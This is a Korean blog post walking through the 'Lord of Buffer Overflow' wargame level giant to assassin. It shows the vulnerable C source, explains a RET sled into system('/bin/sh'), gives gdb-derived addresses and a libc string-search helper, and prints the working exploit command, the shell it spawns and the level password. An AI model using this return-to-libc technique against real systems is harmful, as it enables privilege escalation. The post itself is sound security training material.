728x90

giant / one step closer

/*
        The Lord of the BOF : The Fellowship of the BOF
        - assassin
        - no stack, no RTL
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
	char buffer[40];

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	if(argv[1][47] == '\xbf')
	{
		printf("stack retbayed you!\n");
		exit(0);
	}

        if(argv[1][47] == '\x40')
        {
                printf("library retbayed you, too!!\n");
                exit(0);
        }

	strcpy(buffer, argv[1]); 
	printf("%s\n", buffer);

        // buffer+sfp hunter
        memset(buffer, 0, 44);
}

retn 주소를 stack 영역 또는 공유 라이브러리 영역으로 덮어쓰는 것을 방지하고 있다. 또한 buffer부터 sfp까지 0으로 초기화하는 것을 알 수 있다. 이번엔 RET Sled를 사용해 본다.

RET Sled란 retn 주소에 ret 명령어의 주소를 넣어서 retn 주소가 저장되는 공간의 아래 위치에 호출할 함수를 넣는 것이다.

<기존의 stack 구조>

buffer
sfp
retn 주소
argc
argv addr

<RET Sled 스택 구조>

buffer
sfp
retn 주소
(retn 명령어)
system 함수 주소
dummy
system 함수 인자
("/bin/sh")

retn 주소에 assassin 코드의 main 함수 에필로그 부분의 retn 명령어의 주소로 설정하면 다시 retn을 실행할 것이다. retn 과정은 pop eip, jmp eip이므로 결국 +4 주소에 위치한 system 함수 주소로 이동하여 system("/bin/sh")를 실행하는 것이다.

원래 dummy 자리는 다음 호출할 함수의 주소이지만 다음에 호출할 함수가 없기에 dummy를 넣는다. 또한 system 함수가 ebp+8부터 인자를 받기에 dummy가 필요하다.

retn 명령어 주소, system 함수 주소와 "/bin/sh" 주소 찾는 것은 이전 문제들에서 이미 진행했다.

<retn 명령어 주소>

0x8048515 <main+165>:	call   0x8048398 <memset>
0x804851a <main+170>:	add    $0xc,%esp
0x804851d <main+173>:	leave  
0x804851e <main+174>:	ret    
0x804851f <main+175>:	nop    
End of assembler dump.

<system 함수 주소>

(gdb) p system
$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>

libc는 stand C libraries로서 다양한 기본 함수들이 존재한다. system, printf 등등 말이다. 그리고 "/bin/sh" 문자열도 존재한다. 따라서 libc에서 문자열을 찾는데 시작 주소는 system 주소로 설정한다.

<"/bin/sh" 문자열 주소>

[giant@localhost giant]$ cat getaddr.c
#include <stdio.h>
#include <string.h>
int main(){
	long sh=0x40058ae0;
	while(memcmp((void*)sh, "/bin/sh",8))
		sh++;
	printf("%p\n",sh);
}
[giant@localhost giant]$ ./getaddr
0x400fbff9
[giant@localhost giant]$ ./assassin `python -c 'print "A"*44+"\x1e\x85\x04\x08"+"\xe0\x8a\x05\x40"+"AAAA"+"\xf9\xbf\x0f\x40"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAɀAAAA
bash$ my-pass
euid = 515
pushing me away

assassin의 비밀번호는 pushing me away

 

 

728x90

'Lord of Buffer Overflow' 카테고리의 다른 글

zombie_assassin -> succubus  (0) 2023.02.02
assassin -> zombie_assassin  (0) 2023.02.01
bugbear -> giant  (0) 2023.02.01
darkknight -> bugbear  (0) 2023.01.31
golem -> darkknight  (0) 2023.01.26

+ Recent posts